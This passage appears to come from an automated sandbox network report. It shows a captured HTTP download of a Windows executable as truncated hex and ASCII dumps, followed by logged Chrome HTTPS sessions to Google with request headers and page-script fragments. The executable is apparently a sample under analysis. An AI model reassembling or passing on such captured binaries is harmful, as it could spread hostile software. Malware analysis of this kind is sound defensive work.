Dec 20, 2024 16:08:17.140698910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:08:16 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 20, 2024 16:08:17.140960932 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 20, 2024 16:08:17.140974045 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 20, 2024 16:08:17.141763926 CET	1236	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Dec 20, 2024 16:08:17.141774893 CET	1236	IN	Data Raw: a2 41 00 8b f8 3b fe 74 33 56 6a 01 6a 01 57 ff 15 a4 a2 41 00 56 56 56 8d 45 e4 50 ff 15 a8 a2 41 00 8d 45 e4 50 ff 15 ac a2 41 00 6a 01 57 ff 15 b0 a2 41 00 57 ff 15 b4 a2 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 94 a2 41 00 8b d8 85 db 75 02 5b Data Ascii: A;t3VjjWAVVVEPAEPAjWAWA_^St$Au[VW\|$Wt$A5AWSWS_3^@[UDSVWjpA5XAAPuuSuhuuSt&utWS\AWS`AtPdAz=Auo5h
Dec 20, 2024 16:08:17.142890930 CET	1236	IN	Data Raw: 59 8b 4d fc 41 51 50 89 45 f8 8d 45 98 50 ff d3 3b 45 fc 77 40 ff d7 85 c0 75 3a 8b 86 bc e0 41 00 85 c0 74 25 8b 7d f8 57 50 ff 15 2c a1 41 00 85 c0 74 13 ff b6 bc e0 41 00 e8 14 6d 01 00 89 be bc e0 41 00 eb 16 57 eb 0e 8b 45 f8 89 86 bc e0 41 Data Ascii: YMAQPEEP;Ew@u:At%}WP,AtAmAWEAulYuAAAA9t;AuS0AG3jZGQl=AYAu:%AjXPAhP4A~XP
Dec 20, 2024 16:08:17.142903090 CET	1236	IN	Data Raw: 20 a1 41 00 85 c0 74 37 8b 4d d4 33 c0 3b c8 77 2e 72 08 8b 45 d0 3b 45 08 73 24 6a 2b e8 70 fa ff ff 50 e8 86 6b 00 00 83 f8 01 59 59 74 09 83 0d c8 e9 41 00 ff eb ae 83 0d c8 e9 41 00 02 33 c0 40 c9 c3 ff 74 24 04 e8 8d ff ff ff 85 c0 59 75 01 Data Ascii: At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV3Wt$FFYW.t$6YY~_^D$V;F\|P^VWt$YWFt$AP
Dec 20, 2024 16:08:17.143882990 CET	1236	IN	Data Raw: e8 c0 e2 ff ff 66 83 24 46 00 59 89 45 f8 8d 45 f4 50 8b cf e8 64 e5 ff ff 56 e8 8c 63 01 00 59 5b 5f 5e c9 c3 55 8b ec b8 20 10 00 00 e8 cf 63 01 00 53 56 57 8b 7d 08 8b 07 33 db 53 53 53 53 57 ff 50 10 8b 45 14 ff 75 0c 8b 35 30 a1 41 00 89 58 Data Ascii: f$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+
Dec 20, 2024 16:08:17.143894911 CET	1236	IN	Data Raw: 46 02 eb 22 8d 46 02 66 83 38 7b 75 02 8b f0 0f b7 06 50 8b cb e8 e8 e3 ff ff 03 f7 0f b7 06 66 85 c0 75 c6 8b c6 5f 5e 5b c3 8b 4c 24 04 56 6a 5c e8 25 f7 ff ff 8b 4c 24 08 6a 2f 8b f0 e8 18 f7 ff ff 3b c6 7e 02 8b f0 8b c6 5e c3 56 57 8b 7c 24 Data Ascii: F"Ff8{uPfu_^[L$Vj\%L$j/;~^VW\|$t$A~!FPPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]
Dec 20, 2024 16:08:17.143904924 CET	556	IN	Data Raw: eb 03 ff 75 ec 8d 4d e0 e8 ad f3 ff ff 8b 07 6a 05 03 c6 68 e4 a6 41 00 50 ff d3 83 c4 0c 85 c0 75 84 8b 07 6a 05 03 c6 68 e4 a6 41 00 50 ff d3 83 c4 0c 85 c0 75 d6 eb 23 80 f9 22 74 27 80 f9 5c 75 08 80 7c 30 01 22 75 01 46 0f b6 04 30 46 50 8d Data Ascii: uMjhAPujhAPu#"t'\u\|0"uF0FPMu^0u<tFuhEPEPPMFulYEPYYhAu$Auj=unYY39AAt&6AP6u4At
Dec 20, 2024 16:08:17.261070967 CET	1236	IN	Data Raw: e8 d3 e3 ff ff 85 c0 59 75 0f 57 6a 0c 6a 01 e8 5f 5b 00 00 83 c4 0c eb df 3b f3 7d 4e 8b 45 fc 2b c6 40 50 8b 45 08 8d 04 70 50 8d 1c 77 53 e8 f3 57 01 00 33 c9 83 c4 0c 66 39 0b 74 13 eb 10 0f b7 04 77 66 3d 5c 00 74 0d 66 3d 2f 00 74 07 46 66 Data Ascii: YuWjj_[;}NE+@PEpPwSW3f9twf=\tf=/tFf9wuWfwwYt;u\|WfW3Y@EMu(ff f=arf=zwfy:u3FW5WYQjjZW W3_^[U\|SAVuf=0rf=9wVY{j Y

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	172.217.19.164	443	2676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:06:32 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 15:06:33 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:33 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-T5OapNI_eKqM835m5l0tDA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 15:06:33 UTC	124	IN	Data Raw: 33 35 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 72 75 73 68 20 34 30 20 73 65 67 61 20 6c 61 77 73 75 69 74 22 2c 22 6e 61 73 61 20 61 73 74 72 6f 6e 61 75 74 20 73 74 75 63 6b 20 69 6e 20 73 70 61 63 65 22 2c 22 6e 75 6e 61 20 72 61 76 61 20 63 61 72 20 73 65 61 74 20 72 65 63 61 6c 6c 22 2c 22 70 69 74 74 20 6c 6f 75 69 73 76 69 6c 6c 65 20 76 6f 6c 6c 65 79 62 61 Data Ascii: 354)]}'["",["crush 40 sega lawsuit","nasa astronaut stuck in space","nuna rava car seat recall","pitt louisville volleyba
2024-12-20 15:06:33 UTC	735	IN	Data Raw: 6c 6c 20 73 63 6f 72 65 22 2c 22 74 6f 6f 20 74 75 72 6e 74 20 66 65 64 65 72 61 6c 20 63 6f 75 72 74 22 2c 22 77 69 73 63 6f 6e 73 69 6e 20 68 65 61 76 79 20 73 6e 6f 77 20 66 6f 72 65 63 61 73 74 22 2c 22 67 69 66 74 20 65 78 70 72 65 73 73 20 74 6f 6b 65 6e 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 22 2c 22 70 65 6e 6e 20 73 74 61 74 65 20 6e 65 62 72 61 73 6b 61 20 76 6f 6c 6c 65 79 62 61 6c 6c 20 67 61 6d 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d Data Ascii: ll score","too turnt federal court","wisconsin heavy snow forecast","gift express token monopoly go","penn state nebraska volleyball game"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbm
2024-12-20 15:06:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	172.217.19.164	443	2676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:06:34 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 15:06:34 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 20 Dec 2024 15:06:34 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 15:06:34 UTC	372	IN	Data Raw: 66 34 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 5c Data Ascii: f49)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\
2024-12-20 15:06:34 UTC	1390	IN	Data Raw: 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 Data Ascii: lass\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u00
2024-12-20 15:06:34 UTC	1390	IN	Data Raw: 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c Data Ascii: 03cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\
2024-12-20 15:06:34 UTC	768	IN	Data Raw: 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 38 Data Ascii: s\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13 8
2024-12-20 15:06:34 UTC	804	IN	Data Raw: 33 31 64 0d 0a 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 77 61 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 41 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 20 61 70 70 73 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6e 74 6c 2f 65 6e 2f 61 62 6f 75 74 2f 70 72 6f 64 75 63 74 73 3f 74 61 62 5c 75 30 30 33 64 72 68 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 Data Ascii: 31d\" id\u003d\"gbwa\"\u003e\u003cdiv class\u003d\"gb_C\"\u003e\u003ca class\u003d\"gb_A\" aria-label\u003d\"Google apps\" href\u003d\"https://www.google.com/intl/en/about/products?tab\u003drh\" aria-expanded\u003d\"false\" role\u003d\"button\" tabindex
2024-12-20 15:06:34 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 70 61 74 68 5c 75 30 30 33 65 5c 75 30 30 33 63 69 6d 61 67 65 20 73 72 63 5c 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 67 62 2f 69 6d 61 67 65 73 2f 62 61 72 2f 61 6c 2d 69 63 6f 6e 2e 70 6e 67 5c 22 20 61 6c 74 5c 75 30 30 33 64 5c 22 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 Data Ascii: 80008,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2z\"\u003e\u003c\/path\u003e\u003cimage src\u003d\"https://ssl.gstatic.com/gb/images/bar/al-icon.png\" alt\u003d\"\" height\u003d\"
2024-12-20 15:06:34 UTC	1390	IN	Data Raw: 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 78 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 78 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 Data Ascii: cess_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis;\ntry{\n_.xd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.xd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.da
2024-12-20 15:06:35 UTC	1390	IN	Data Raw: 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 48 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 49 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 49 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 46 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6e 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4b 64 5c 75 30 30 33 64 5b 47 64 28 5c 22 64 61 74 61 5c 22 29 2c 47 64 28 Data Ascii: 003d\u003d\u003da+\":\")};_.Hd\u003dglobalThis.trustedTypes;_.Id\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Jd\u003dnew _.Id(\"about:invalid#zClosurez\");_.Fd\u003dclass{constructor(a){this.nh\u003da}};_.Kd\u003d[Gd(\"data\"),Gd(
2024-12-20 15:06:35 UTC	1390	IN	Data Raw: 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 58 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f Data Ascii: F\");else a\u003d_.Xd(a);return a};_.Zd\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"no
